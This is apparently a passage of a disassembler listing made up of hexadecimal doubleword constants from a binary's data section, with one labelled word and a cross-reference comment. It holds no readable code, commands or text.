dd 0B44DFB41h, 0BD3E000h, 8283EA0h, 0A9F10050h, 47822B9Dh
dd 1500B54Ch, 0F96F72A7h, 0B810CE21h, 7B61007Dh, 0F46422EDh
dd 0A77081Dh, 88DBAC28h, 9F825A00h, 0E2C0A4B1h, 21EEC2h
dd 7857E0D2h, 0C888FD93h, 0B8359B00h, 2EC3A4BFh, 80DD00F9h
dd 933EF705h, 103F0A58h, 440BFB9h, 0CA17BA1Ah, 5543480h
dd 0D18087DCh, 2F3BBE3Fh, 6DCA282Dh, 0A3D81E90h, 61CCC0A0h
dd 64B1B595h, 93CFD61Fh, 779851CBh, 9BC97680h, 1C0046A9h
dd 24FF043h, 7143010h, 847B0DC3h, 70931134h, 7820207Ah
dd 0B0AF2602h, 41A3BE32h, 0E7DC8C18h, 0A77EAAh, 19225DD5h
dd 7FA4362Bh, 0E1912704h, 0DCD02E41h, 78BBFF2Ah, 77301FF1h
dd 0FC813B06h, 728811CAh, 85BD20B9h, 0B0001E71h, 47099BC0h
dd 0FE612097h, 4F5A074Dh, 0F0F4B8BEh, 2A810A02h, 0A9F57800h
dd 0ADCC4093h, 0A0D5848h, 1C90B100h, 0AB3D7B92h, 7CD26700h
dd 8F02A5Ah, 0DCF0EC2h, 0E84788D1h, 4EEF70A5h, 7D004C98h
dd 78AE6C23h, 25F9A1h, 90C903D7h, 0D8C512Ch, 2302E100h
dd 0FDCB2E17h, 1A070637h, 290B95E8h, 0B361DC00h, 0A5D3E9DAh
dd 0E6300FAh, 0C3568B55h, 0C000FBD2h, 0F5AEEBBh, 0C2B927h
dd 939EDF84h, 256564E5h, 8BC5DE00h, 0CD0F4A7Ah, 0F68D00B4h
dd 72E60A4Bh, 551EAF63h, 45005F9Dh, 3294573Eh, 0FAA660EFh
dd 1C7DE3B5h, 92F0960Eh, 44C3FC30h, 0F0C23CC3h, 0CE65DBD8h
dd 52C0220Eh, 16BB91D5h, 5000BF7Dh, 0C5D9A14Ch, 4310CBh
dd 929790C7h, 0B7F0DFDCh, 40EE3400h, 0F6412FABh, 0DE5A0064h
dd 915FA0CDh, 89136BB2h, 0B9B82EEAh, 3C8A8D00h, 3E36F46Eh
dd 9F904D00h, 4972D2E9h, 0EA6379F1h, 51B0A07Ah, 5A2C0027h
dd 30ABD8D7h, 0B31D5BD2h, 1094D6DEh, 0AF1500C2h, 63C8BEFCh
dd 22990225h, 8A6F5CE7h, 91C08C83h, 57207BD8h, 11B7810Eh
dd 1B4700F8h, 0AC5C10h, 0B4277342h, 4BC06F50h, 32A7CA00h
dd 486DD30Eh, 84993B89h, 0B7A001F4h, 0BC98F09Bh, 0D23D6090h
dd 0F5748200h, 49C39948h, 383F00BEh, 84B33EEBh, 0C8004DB6h
dd 0F8C99BCCh, 0F9C588Ah, 0EF17F298h, 8466A5h, 25CF01CEh
dd 0BC07511Ah, 0B40FB03Bh, 4950807Eh, 0EFB1EAh, 0D8CC79F8h
dd 486C411Eh, 5DADE309h, 92C50006h, 14C9F9EEh, 0CE426EDh
dd 9ACDD480h, 9800CA51h, 0FBA46159h, 7AFFE844h, 0AC5602B1h
dd 695517F4h, 62248C81h, 0BC6FECF1h, 8753A500h, 22A0860Ch
dd 42553C60h, 7AEC7381h, 0D04BCB48h, 92004CD3h, 41E5E228h
dd 1A50Bh, 0F1DAE0C8h, 821E1569h, 0E104848h, 78C2227h
dd 9DB07402h, 14663119h, 8C4B7D12h, 0BD0B1D02h, 0C080C1EEh
dd 9B6810D6h, 3B32E100h, 0B9F3B51Eh, 92830016h, 0C48743F2h
dd 20045C1Dh, 843FBBB3h, 1E733481h, 0A11BE8h, 6B1D0E78h
dd 1AD6EAF0h, 68000574h, 0EB88C129h, 0D93DF1h, 18980396h
dd 6AA19907h, 2A504500h
dd 0DF2F6FEAh, 1D873934h, 634D1700h, 0F13E64A1h, 3AD3BD00h
dd 21E2EFCBh, 42C50107h, 76BEB175h, 0F3BE0D1h, 1007872h
dd 84509B2Ch, 0E9C5408h, 34C2A87Eh, 11224361h, 40CFF3A3h
dd 56C90D66h, 1854F507h, 2420DA1Ah, 75A9DE0Ah, 48A53E75h
dd 0E4E1600h, 5CD4AF29h, 0C2EFCA07h, 4373A799h, 91F6A83Ah
dd 9E760FBCh, 0CC201073h, 2C725E65h, 0AF302504h, 6C802A8Dh
dd 346296Eh, 51ED523Eh, 0D1E875FCh, 71601EAh, 8019FC6h
dd 744656E5h, 0DD4ADCh, 0D8DF14EBh, 30DF3CCh, 6E80A007h
dd 930F6ACh, 0FB21C3Ch, 0A5201AD7h, 0CC0A7EA3h, 0E471AAE0h
dd 33156B00h, 4A0291ACh, 3C414C6Ch, 0C4B2CD07h, 9731E07Dh
dd 0E4006799h, 0CF535E93h, 8B87C5h, 0C003ADA6h, 8657F7D1h
dd 8497E0E3h, 5F716B05h, 5087D8F0h, 0EE000029h, 0C0C3B9h
dd 886421C7h, 977A25A5h, 0D4EDCC00h, 81FDECE3h, 7602130Eh
dd 13B800F7h, 937C4530h, 0E40088FEh, 0D80957F5h, 1D5105D3h
dd 5C2232F0h, 8017DF3Bh, 0CD1BD980h, 0B000167Ah, 0C0D1DBFCh
dd 38E36BAh, 6CEAA6A1h, 4CE89245h, 0BD01DC73h, 0AD3448C8h
dd 42F49370h, 0D7DA00B4h, 37770263h, 0B0021F5h, 0F6EC44D2h
dd 0F07BA7h, 0D3E891C9h, 83C38C79h, 0D70071F8h, 44349078h
dd 39BE16h, 1AAB6F14h, 7F9126D4h, 9B6AF607h, 0FF608525h
dd 0B36D62h, 0B47109BFh, 0C5F9F50Bh, 0C75AA00Eh, 45F16F77h
dd 8E205Eh, 7D1856F2h, 0F4E64CAEh, 17705A03h, 3BD08AF0h
dd 0E5B81330h, 0C70090F8h, 57603FCAh, 1D10BE95h, 0D3BF1E61h
dd 0D65F0005h, 5DA65993h, 0C6B3100h, 0C7D7206Dh, 0C8E30029h
dd 0AEC6EFF8h, 39007766h, 971DC9D6h, 3A4F9C4h, 0DA91296Fh
dd 1C80B2DDh, 6C00511Fh, 723E58FFh, 0FA0ACDh, 3BD50417h
dd 0C44FE0E9h, 1C034DEEh, 0A1072E5Fh, 0B2CFD0A7h, 9EC7ACCh
dd 86909B4Bh, 0D0883401h, 5E1701Ah, 2DA6D302h, 4093E940h
dd 1388584h, 0E7538C98h, 0CC1C15CAh, 2E005E66h, 56309DB7h
dd 38A5E6h, 0E0A48EADh, 36DB25DCh, 0FA00F8FCh, 2F1B4D9Ch
dd 0E426C10Ah, 4891B81Ch, 1104847Eh, 24D04106h, 907A4680h
dd 1E966033h, 428BE721h, 25F35600h, 0E26793BDh, 71B3075Ch
dd 8B08D247h, 56F5FC20h, 0D150FE58h, 880014C4h, 7C696BE0h
dd 0CB2241h, 8DB0A4D9h, 8AA382CFh, 0C5A07E01h, 0F5E6EDAh
dd 480109C9h, 4CE0371Fh, 26892450h, 3EC7014h, 67BE5C08h
dd 0B6876EBh, 87C92E95h, 47B09C00h, 860ED86Eh, 273DC51Ch
dd 7170F877h, 214A530h, 76576F41h, 5A4192E4h, 0CB4AC47Eh
dd 5FC41D00h, 94F8B32Bh, 4C6300DAh, 8AD2CDAAh, 0C73EB584h
dd 0B8ED0042h, 1AB191CBh, 8763002Ah, 925488A8h, 19006DC6h
dd 615D3E2h, 0EA04FEh, 0D0A8AB99h, 575D3601h, 68F37800h
dd 517E32FFh, 60BD002Ch, 0BCD756ABh, 25006B1Eh, 5549C0BEh
dd 6790CDh, 0CF3F7B89h, 7145EC68h, 1E30AC00h, 41FD2C7Ch
dd 43C500FFh, 680B2FA3h, 0F22C3884h, 0B400A794h, 73CEC9E9h
dd 176E0016h, 3E4065B7h, 790A63CAh, 0D8D5705Dh, 49197BEh
dd 51063500h, 16CF235Ah, 0C98BDDh, 1C4942F0h, 0A4F8BA5Ch
dd 99B29000h, 1B443AB5h, 6C7E3Dh, 182B1A40h, 0E40FE54Eh
dd 93BAD607h, 0C4E153F3h, 8B3079B9h, 71E22E88h, 2438001Ch
dd 0DE1DD7AFh, 13FD0A00h, 104B9D8Fh, 27F000D3h, 26F8A079h
dd 37AE49Eh, 327AF11Dh, 0E2C3DDDCh, 0B0AB1A22h, 447E34h
dd 131C9368h, 986142AEh, 0E85E3507h, 0F3B0B590h, 1066975h
dd 604FE54Bh, 8FC87F5Bh, 5FD43938h, 0EE1F1102h, 0C175C0F2h
dd 0F7043969h, 0BEF90073h, 14884624h, 0B003D5B7h, 6C9BA44Eh
dd 9F4040CCh, 4C3D0008h, 206EF572h, 7607DFCBh, 0DDF8A2ECh
dd 0F961ABA1h, 0C904F4h, 0DCE4568h, 0CD9EBFA0h, 97A3D07h
dd 40098BBBh, 76FD4DCh, 9C98CB32h, 6047476Ch, 0A6C9BECCh
dd 0D305D57Ch, 3F708308h, 0C722D800h, 0F9E6A49h, 79023C2Eh
dd 0E567A3A1h, 7716C466h, 0AC0F2498h, 5E22D0A5h, 71B72C00h
dd 87D596h, 0EB9DF1E8h, 898A8385h, 0E366AF00h, 0E45197EFh
dd 0BB390007h, 9EC254F2h, 4300F96Ch, 0CBAFB2C5h, 18DDC08Dh
dd 88206FA8h, 0AA01463Bh, 5B96874Ch, 0E02089EAh, 761C4C2Bh
dd 1720C12h, 437EA1D4h, 80CF310Eh, 0CD297910h, 0F2F6571h
dd 914EB8FFh, 0A17ED140h, 0E1008FA9h, 9AC61697h, 79706212h
dd 91D300A6h, 0F19030C1h, 970FE8ACh, 36F01814h, 0D83001Dh
dd 0F86A3519h, 4461D1h, 0C796340Ah, 20AEFD84h, 8046AF3Ch
dd 0A79DB18Fh, 1EF6DCEEh, 0C00C231Fh, 0CAC645C4h, 7A186019h
dd 1EE19BE6h, 98FB5CD3h, 0DE6E2Ch, 2A674B1Ch, 0E9032BCDh
dd 33F9F6C6h, 0B5B0B820h, 18163893h, 0B265C500h, 0D38339DFh
dd 7E910E00h, 0DC042B6h, 2557B89h, 0FD94B9A6h, 8880C72Dh
dd 47A99EC1h, 0A43E7426h, 6B17E306h, 0C6420078h, 55A7F44h
dd 0FC07C8A7h, 3EF1FB06h, 0EC36DCF0h, 17E60042h, 753B95A8h
dd 0BBB064D6h, 0A1816200h, 5714B69Ah, 77D1C7A0h, 0FE2CF06Eh
dd 63033D48h, 0D11AFC66h, 5354F0C9h, 989695h, 9F811323h
dd 550147D6h, 0E95FAB9Bh, 0B430D0DDh, 0EC9600EAh, 0D775647Bh
dd 600015F2h, 98DF22A7h, 3772B4FEh, 30706577h, 0C76AC84Eh
dd 0BCE1CD03h, 0B030A3C2h, 780B9070h, 0D168C0DEh, 0F5E7E58Ah
dd 0A7440100h, 571CCDFAh, 27F90F42h, 0E00FD212h, 0F522CCC0h
dd 0C9612336h, 80450FD1h, 50C14082h, 0C0FA7Bh, 7475BC8Bh
dd 48558h, 92B30DF4h, 8228AAh, 0A1203608h, 0A8783FFBh
dd 3540F21Fh, 0CF69900h, 25194304h, 4005A76h, 0B83E5D30h
dd 0F9030FE0h, 3188A5DEh, 6C908474h, 0EACB213h, 20B946BAh
dd 47D4E2A7h, 0F1058EF4h, 0C0D887D3h, 85E30EF3h, 0C8ECBA00h
dd 0B37CCD5Ch, 0D03005E1h, 404BD6C1h, 7583C2ACh, 0A000D59Eh
dd 8CF1673Ah, 0F6E637h, 1771C84Ch, 491C0731h, 2E303367h
dd 35FC0E80h, 10C10B89h, 8C2020D8h, 5AFF820Dh, 1B1D59C0h
dd 0A38B49h, 0E943C26Ah, 0B21FB445h, 44293600h, 0CD0B8D3Dh
dd 685400CEh, 157ED4FDh, 97009D2Bh, 13C08F7Dh, 0C9E844h
dd 75CBA694h, 8AB50266h, 760A6C00h, 78210E3Ah, 51BC00A4h
dd 0C4CB2F5Bh, 0DD00FFC2h, 0F5C76703h, 7C2C70h, 0F7201F90h
dd 0F16908CCh, 1E034EE6h, 588BA9E9h, 5AB6A099h, 0C45C2452h
dd 5600412h, 939BC07Eh, 40024832h, 0F0AA2FA8h, 76B24050h
dd 1D110F35h, 1EE13B73h, 8E836612h, 20E16350h, 94ED5E47h
dd 0FD15146Dh, 0AB00984Ch, 25884D3h, 44001C36h, 2BDEC4B4h
dd 0E215CFh, 313DD9D5h, 0C361736Fh, 0C3077026h, 0C371D00h
dd 9C1DDh, 5D34A7EFh, 15EB8517h, 8DF2CBF4h, 8007174h, 8E53ACCAh
dd 55D5B9h, 3424DCC9h, 294CFC35h, 0C7113F00h, 0A66E1E61h
dd 30C07849h, 0F0213DD7h, 2D06A158h, 70D62082h, 76070F50h
dd 9167DF67h, 0D6BF003h, 0C50399B1h, 3D71E7A2h, 0CED089E4h
dd 0FAFC02C4h, 0D387003Fh, 18FBAB96h, 4D147C1Fh, 8C9FDEh
dd 1B6F4E15h, 15EADFDh, 0ED4AB55Dh, 0D85BF640h, 7A0E9AC1h
dd 8031958Bh, 918998F4h, 774D004Ch, 1B7B7EF7h, 7F5C4B2Ah
dd 1A3E0565h, 97C0E7E4h, 1F551E0h, 70F93549h, 309ACF8Ch
dd 0D907E4CCh, 0D0297417h, 3443DD30h, 60C400A6h, 6E7EEBFBh
dd 0DA2C23D4h, 3D806CFDh, 0AAC748C6h, 5DEE00EFh, 423579B2h
dd 753D4ADAh
dd 800927D8h, 2A06708Ch, 0F80F5D21h, 0B8FA7C03h, 1FA010B5h
dd 0C3006036h, 7A91E5A1h, 0D2CC84h, 0AF118CE8h, 77D5BB47h
dd 0C030EC99h, 2535371Ch, 2880FFE0h, 0C215A318h, 4E8A3609h
dd 8EAC20BBh, 60AB7AB7h, 0A47B11CFh, 0CCE1E50Bh, 0A504C275h
dd 0DA605721h, 909CBC80h, 0CA390444h, 0A4A73392h, 2B258A88h
dd 4907470h, 0A01BE94Dh, 5F065860h, 64712D8Bh, 0E6903D61h
dd 8A030AD8h, 4B131108h, 0A30760CFh, 703A5FD1h, 0E3040357h
dd 0E8977FC2h, 4BFD05h, 3EBEFC50h, 4072E4D3h, 0CFFFE8C3h
dd 655901ABh, 0BD9CE2EAh, 0C486E057h, 7118955Ch, 0DE7C1400h
dd 0DAAB06B4h, 0C6F6006Fh, 0D82135FFh, 1F003915h, 254B7BC2h
dd 230602h, 0F6905347h, 9EEEA5ADh, 80F79B04h, 0B480301Ah
dd 32D54Dh, 0D624773Ah, 0AF310D7Ch, 0A91FCE12h, 0B6853D1Dh
dd 36C4497Dh, 6A3CE881h, 674EDCh, 1F6B1DA4h, 393BDEF6h
dd 5A8D681Eh, 5240BB5Fh, 32B370B0h, 9A3439C0h, 0E9E2AA80h
dd 50282E83h, 59C4791Fh, 8A161D80h, 1690C7F1h, 8C84B94Fh
dd 0A7004508h, 2CE4255Dh, 278159h, 3FC8CB62h, 0BFEE9141h
dd 92CF5C00h, 0D3BCCCC2h, 5E0043Ah, 0C09BA2B4h, 3308232Fh
dd 56F0AF00h, 12A9706Fh, 4ACD0041h, 0DA05AE49h, 300726AAh
dd 0F3774B62h, 0C0E7EFC0h, 38D71D54h, 59DD5Ch, 5F40DF33h
dd 0DB05A1FDh, 3DD469A2h, 5634B0h, 0BA258BB8h, 853B4B20h
dd 9D2D5800h, 3E0EFCC5h, 30E458C3h, 8DC0AF07h, 4B0304Bh
dd 0FD00C78Eh, 0C2B621B2h, 0DC1F81h, 6971DB1h, 5B4522C9h
dd 67DA7700h, 0F4602F8h, 8E50751h, 318E4252h, 0F8A2B12Dh
dd 7C16C44Fh, 0CC418593h, 13167A06h, 0A808F0EAh, 7DE94h
dd 0B34E755Ah, 3F78AE14h, 26502500h, 8090C9F6h, 35940045h
dd 0C5542719h, 4E00ABADh, 286F58F7h, 0B575FEh, 46F1D842h
dd 0A895761Fh, 61E35403h, 3B7334F6h, 864C7F10h, 0DC911900h
dd 1A6B3A87h, 0F7A2EC05h, 0F28052AAh, 77A6859Fh, 0D8C003BBh
dd 0FC92553Eh, 3205D5C8h, 5A7AADF2h, 65672424h, 34985000h
dd 749FE54Dh, 0C5B000DBh, 12D2A1C7h, 0E80E030Ch, 0C0AF5F60h
dd 0ED3D36F6h, 0FC7300ECh, 0A4891F77h, 92002572h, 2E3CADDFh
dd 9057D2CDh, 0F41C0060h, 11473968h, 0E40F4BBDh, 831B7E97h
dd 0C83AAC0Ah, 0B24358h, 0D25310AEh, 0E03B14A1h, 88428B00h
dd 0F0770EA3h, 2DA23F99h, 0E8336204h, 1A2F00BFh, 2636C0A7h
dd 8118148Ch, 5B4A565Fh, 4E118069h, 6F3CD51h, 75C302Ch
dd 1D97D70Ah, 9D3DEA38h, 6A438C41h, 9052298Ah, 0B0E9E8h
dd 17C9C218h, 0BD43BEFAh, 0F814D91Ch, 0ABCC00FFh, 4FA73F30h
dd 0D4CD0026h, 5E61B2F3h, 0AF76292Eh, 2E1C074Dh, 8E0064C8h
dd 24A53DC3h, 0EA1000D3h, 0AD0B538Bh, 7F002ABCh, 452C9DE5h
dd 0FA5735Eh, 44EE405Ch, 0DD6FD1E3h, 7C013800h, 4DA855CBh
dd 0E6BA0065h, 8AAB473Ah, 3900F714h, 50233E0Ah, 3C319CF5h
dd 0BF80A2A5h, 0A73D6F15h, 3816E29Bh, 240042D0h, 18F4CB6Eh
dd 0DE1B0047h, 81AA07B1h, 0A2591937h, 0D20B0020h, 0D46BAD28h
dd 2E3FFC12h, 0B90FC3h, 3096C5C2h, 4C01D989h, 4641D1D2h
dd 0F1D8C13Ah, 0D3092ECFh, 5F90749h, 2F35E74h, 979F8D40h
dd 17773858h, 762E2800h, 4BE7CB8Bh, 4CEA00A9h, 0DF3D3086h
dd 650739D6h, 4E31131Bh, 0C912431h, 13384860h, 0C07CA743h
dd 5181B200h, 2F5AA100h, 72609345h, 0C74B0095h, 2EFBDD50h
dd 0F2E08A40h, 8B0DDE38h, 2019303Ch, 0BAA05D80h, 0E5257E9Ah
dd 0CE1F3F0h, 21B9F46Eh, 94A92AD8h, 7420CE87h, 147D1613h
dd 0ECAB2063h, 112D5500h, 0D3058EF2h, 0AC48D06h, 384E96h
dd 58DF7451h, 0E08513FEh, 14EAE87Dh, 60C7E2F8h, 0D7B01292h
dd 0FFD229h, 3A691897h, 36BC0AF5h, 4F491D04h, 0F4C0AE50h
dd 5097EB88h, 16A69842h, 7E94565h, 70C29FDCh, 0B8A10BFAh
dd 830F9D12h, 643440A1h, 0D9F100B4h, 0ED3AF045h, 0D0002A16h
dd 86F68115h, 0A1C603h, 0CFC46AE2h, 6D2BDB77h, 8D35602h
dd 80D44E2Ah, 1370CDB8h, 0E7B73C68h, 14805580h, 8837F8C8h
dd 9D6D9100h, 469CD06Ch, 5FE50024h, 764AFBD4h, 64EE9733h
dd 97F3F00h, 0C8D0C5F9h, 583107DCh, 0D37EE734h, 0D7C85B89h
dd 1002EE3h, 742D7FDFh, 0F9D6F2h, 6EA317A2h, 0D90F7C11h
dd 35DCA00h, 0A19C8743h, 0EC7EC2Dh, 0DF074B65h, 4D6FF640h
dd 0ED33EB85h, 0D034B80Dh, 7FABA7Bh, 7DBFD284h, 2B8650D5h
dd 0AC04F779h, 0B48F89EEh, 614C0981h, 0F3448ECh, 56B91AE3h
dd 7E169C40h, 5A25F212h, 0C138416Ch, 104F1420h, 1F5C92Dh
dd 66ACCA52h, 74C8C368h, 0D434120Ch, 4A0009Ah, 0B027B663h
dd 3C008170h, 5C3ABD0h, 0B6E779D9h, 9E0F0B68h, 0E43BA800h
dd 0AD48804Dh, 12200087h, 82BC9A83h, 0B90D2C2Dh, 0F41B1494h
dd 0AE6CDB07h, 0E0BBF069h, 0AC4C12B2h, 0BAA10080h, 5A62D0FBh
dd 0BFE0FFDh, 0A3C0CCB9h, 0AF56F4CAh, 0B6284B7Eh, 0D700D6ABh
dd 0DC10D455h, 0EA7674C5h, 0DEAE1F4Dh, 6A1A80B3h, 36F8EAF0h
dd 67E51803h, 0C0EFAF01h, 5C0F61h, 0A0E38D02h, 2703A2ABh
dd 0E504B8B0h, 0FB1A0D1Fh, 4717811Eh, 208318F2h, 35053EE6h
dd 19260867h, 0C14D0C0h, 763F01D3h, 82CDB5E4h, 244FC9B0h
dd 4E0148E4h, 45FA7D62h, 6824D546h, 7B8B0E5h, 83ED9FB4h
dd 0D387803Dh, 0DD4A41A7h, 919B7000h, 39436254h, 8048F673h
dd 930CC300h, 3E89D1FFh, 2354860Fh, 6319E713h, 0E05F74h
dd 9A67014h, 8DB0DFF9h, 0CA7DEC00h, 0FF0370EBh, 6D04A1FBh
dd 80C4E1E9h, 75D496D1h, 9E30002Ah, 0B778E27Eh, 9714039Bh
dd 12F1FAAAh, 0A4B0813Ah, 0DE73B5h, 7116326Bh, 22BCC6Fh
dd 86AF6002h, 60E179CDh, 1905726h, 5CAA7B66h, 0F4F751C0h
dd 941782D0h, 10C064AEh, 0FE38B7h, 0E1C7CCA2h, 0D7CE4835h
dd 2D916E00h
db 4, 1
word_4D4152 dw 0D40Bh ; DATA XREF: ___:off_42E644o
dd 0ADC8016Ch, 44CFC90Dh, 430C2051h, 0DF309516h, 2F808C70h
dd 199CA870h, 0CD5209F7h, 0C0429095h, 8A005878h, 0E1B49979h
dd 59961B40h, 92000CEBh, 71A04F75h, 0F00B445Fh, 7FC215Ah
dd 14E096A0h, 3F24660Dh, 6C8234B9h, 0E017F09Ch, 0E8A0C40h
dd 6788BC00h, 0C905C2A5h, 283302F8h, 5F9B43CAh, 0BB3F88E0h
dd 0CFA9E114h, 0A2D500B8h, 0C33213A5h, 0C13100B6h, 0D819DBD0h
dd 0B4032DAEh, 0AE530ACh, 0BA6AC05Ah, 0F5260C98h, 270F31Dh
dd 8E61DB00h, 9423114Ch, 1701EE49h, 69B8CBh, 6BA89EC0h
dd 2F003965h, 5B4C9041h, 600FCDh, 0A185450Eh, 0E653ADF2h
dd 5F1E3DF6h, 0A0C0B9F0h, 9A3F46E5h, 1DE70183h, 0C721B331h
dd 7F9CF0CCh, 48E48B07h, 870A51Eh, 0C273A45h, 0D0D4CF4Eh
dd 0E905D611h, 8371866Ah, 842EDD00h, 5182AAh, 0DD06B4B7h
dd 8FEEB693h, 80DC833Bh, 0BE66915Eh, 0AA75F8h, 0D21C12B4h
dd 0E0A45B7Ah, 0ED0158B8h, 5A379C2Eh, 30806558h, 0D4543A0Eh
dd 0EA3D2426h, 0ECD6801Ah, 9C3F7CD1h, 389D00EBh, 0C86DF181h
dd 0A003DCAh, 0CE33777h, 9590B9CEh, 2062B826h, 167A3Bh
dd 3FA072Eh, 0A83A26h, 4B53C2E4h, 8F915FA7h, 9FE58C00h
dd 0F3EB9082h, 1E547794h, 878E4ABCh, 0C01BF1B9h, 8A377B3Ah
dd 1F7ED700h, 0F3BC4518h, 0ACE70EBBh, 242460B2h, 0A4F341h
dd 86543DD6h, 5CFB04h, 571AD07Ah, 1EC25127h, 0F91DFD02h
dd 0F1C485F1h, 0E8ED0994h, 34844800h, 1E03DB06h, 850F6EF8h
dd 565FCA3Ah, 0D36600ACh, 0F30887F2h, 0A6AB2F01h, 4A01D45Ch
dd 7B6169E8h, 30FB00F7h, 0E8C0B3A5h, 8FB8E9B2h, 4CCD2A1Ch
dd 0E22FAC81h, 5C209C14h, 0BC5A5B2Bh, 0FA7C09A1h, 7E9400CFh
dd 18A730ABh, 29B5D643h, 6B3F211Ah, 39587C8h, 2230691Dh
dd 1D7F7B8Eh, 26FB06ACh, 561C1F44h, 0F87500D5h, 0FC4F0A8Ch
dd 9D3AFD1Eh, 8475E840h, 0C02FFEBBh, 41B5B9A0h, 29691BE9h
dd 2946010h, 3B1C5813h, 0BF1FC600h, 86FD8218h, 0DDCC4D00h
dd 0F95ED499h, 839500F3h, 52237D9Dh, 0B0ECB387h, 8D649313h
dd 0A40FB400h, 7E32EAh, 770EEB75h, 9D706930h, 547C4C1Fh
dd 0A3FD8800h, 0AA8ABh, 0DA8E62B5h, 256138A4h, 0F41FCF2Eh
dd 50C14C07h, 3F42D910h, 199E0071h, 0CC5C78B6h, 8800E9DAh
dd 2152BA3Ch, 7FBAA17h, 0CAC6589Fh, 8BB806Bh, 304CBD89h
dd 61DF0018h, 0CC2A3A95h, 44F50070h, 29721C8Eh, 76000E85h
dd 0AC8469F0h, 2434C9ABh, 26F1A42h, 0D8E9DE39h, 5EECF868h
dd 0D3AC6400h, 0AA6C7E79h, 19ED002Fh, 67FAA626h, 23004735h
dd 900F5C33h, 7A07DDh, 16F3A46h, 7B9B1E2Ch, 0F1EA10C0h
dd 7E221C37h, 0DC660F68h, 4B496ADAh, 0CB5E9287h, 1D87CE1h
dd 1CF9A1B7h, 2677A9CCh, 80A8E2D9h, 8D80ECAFh, 4900A4F5h
dd 4B03C60Fh, 67E92D24h, 4ED0B04Ch, 92CA04DCh, 13C4B88Fh
dd 0B4CC794Ah, 344FCBEh, 0EEBBC353h, 5EF02D73h, 0DC30EA2Bh
dd 746EF908h, 2F5B784Eh, 20221FE2h, 0C4D8EB18h, 0BF0DC600h
dd 60C0EF89h, 46A1C098h, 1C93D545h, 57F19900h, 0E340EF10h
dd 20BF6017h, 0A7CAC15h, 0BBEB1D00h, 50351FADh, 6EB80B4Ch
dd 4180BF3Ch, 0CF40396Fh, 152D9C00h, 31EA6B5Eh, 0F7BE3F7Fh
dd 261E4C8Ch, 40001418h, 0B88CDB5Fh, 6E06CDh, 857555B9h
dd 0D5166B97h, 963A5000h, 62B1E6EDh, 3825604Bh, 6A12CD7Ch
dd 4285B600h, 6B2CED98h, 8E3D0690h, 619DC84Bh, 9E2FF90Eh
dd 53B72069h, 0AD5965h, 0A97E899Ch, 2671C374h, 4879C716h
dd 0FE4BA2F0h, 37AC000Bh, 0CE584F1Fh, 7700D185h, 0AE0143BBh
dd 370C2635h, 0E018B824h, 5EB6E770h, 20E050E8h, 76043303h
dd 0EBD0CB69h, 2F63A086h, 0F2150799h, 80CDE1F1h, 9EC397B7h
dd 7E5F93Fh, 0E7774625h, 343C7350h, 339C1ED1h, 0A1404024h
dd 0CAFC7C30h, 681884A0h, 0C82C4E03h, 93590F69h, 3A5DC142h
dd 4B892080h, 15FE7F2Eh, 4A33E907h, 2650982Fh, 70C0CFh
dd 8B5C28D1h, 8491FD1Bh, 5800247Ch, 7D32D486h, 7B7FF7h
dd 0FECEA628h, 4FBD3561h, 0B1031778h, 0B62D6346h, 4CFBD0A9h
dd 4A3400F0h, 20C189A1h, 0BBE2C974h, 5D8FF600h, 3006D98Eh
dd 1624010Dh, 0DE17077Fh, 0F0C44741h, 27739A92h, 3D077878h
dd 30E78AE4h, 42DBA990h, 0E0E3FB4Ah, 74F6ECBCh, 0A039F086h
dd 0EE8DFD1h, 0F5815214h, 59C13540h, 924C2A3h, 2D0010D6h
dd 0AD3DACEEh, 395612BFh, 4C08009Bh, 0C96E0A57h, 62D80F00h
dd 0BE59D3B6h, 653A07B9h, 0A5A899EAh, 609C008Fh, 68FB48F0h
dd 8B2AD500h, 0EBE89E27h, 0FEC937E7h, 0F56E3020h, 8CF851BAh
dd 4E79850Fh, 0B24C46BFh, 79F8F6C8h, 80280FC9h, 0F2E7ABE0h
dd 65F5094h, 90281167h, 3204D42Dh, 165BEE4Bh, 0E9794090h
dd 1AB61C7Ch, 7B9CC088h, 28A2F201h, 5FBEB109h, 53683025h
dd 9C68245Ch, 0D2AF814Ch, 2023FB0Ch, 8B3F38C3h, 0B040BDBFh
dd 0E96C319Bh, 12FFE42Eh, 4846E7B2h, 0B04CEFACh, 0EBEA00D2h
dd 0B4C9137Dh, 926704F7h, 14F12761h, 4180774Bh, 0F6E5F119h
dd 7500E1FCh, 984597BDh, 3986034Bh, 96806B2Eh, 3E4987D9h
dd 5E00BD67h, 5924B7C9h, 0ECD60899h, 7E7F0733h, 40FF257Ah
dd 276ABB2Eh, 0A900F475h, 0C9861AE2h, 28CBF907h, 0F8906526h
dd 120C0016h, 20B42384h, 80541D6h, 53D35E8Ch, 0E0E9F383h
dd 9084A58Ah, 93FA0740h, 26125A8h, 0B8405B31h, 0EB065407h
dd 0ECB9CC89h, 909829h, 1AC4C796h, 0DD2030A0h, 0C2F2B492h
dd 11F90C0Ah, 15BD841Dh, 1FD83FFDh, 0E0C06C9Bh, 0BE6BEA6Dh
dd 2B0900Eh, 7EA25B0Dh, 0AC40FE73h, 5A00A006h, 0D2742AD3h
dd 923C0B1Eh, 2309000h, 943834ABh, 76C0AF27h, 0F0AAABAh
dd 0DC9A5156h, 33F08FBAh, 405CCED9h, 0DCF67DF8h, 8DD331E1h
dd 603ED189h, 0AE24642Ah, 0FC0778E4h, 0D8DAB432h, 4ADCE71Ch
dd 0A1C93BC6h, 0E8080021h, 8A44D706h, 0BF00EB4Dh, 88F6C7CAh
dd 831445h, 97B24A99h, 0EA4FC4B7h, 8074303Ch, 0D65C3781h
dd 11990DCh, 3FBAA485h, 0FF270645h, 0C8E151A8h, 7521D903h
dd 0B7D133B4h, 0E3668B90h, 0DD8E0010h, 0AC771FB0h, 0DE01C63Ah
dd 0A15E9098h, 0C1FCB668h, 0FEC0317h, 2AB832BAh, 38FEC2B8h
dd 0A2890500h, 909A369Dh, 0B55B0056h, 2C8F27FBh, 5D790E83h
dd 0AA007C98h, 57A2D2FCh, 1E8E1F97h, 925F5A72h, 59DB07A9h
dd 8646A05Bh, 390E953Dh, 60F94E41h, 33E318F4h, 1B1E0036h
dd 0C231DD5Ah, 318B64Bh, 0C136CF9Eh, 0FFE80080h, 179D12A9h
dd 0FD00434Eh, 0EDBD7697h, 0CDB011h, 58A231E0h, 4E855C90h
dd 0A0A5B604h, 508033F2h, 2088409h, 0E79A9C56h, 2D008F71h
dd 3868DB2h, 0F40E7042h, 18018C09h, 0FA6F953Bh, 0FC30BEE8h
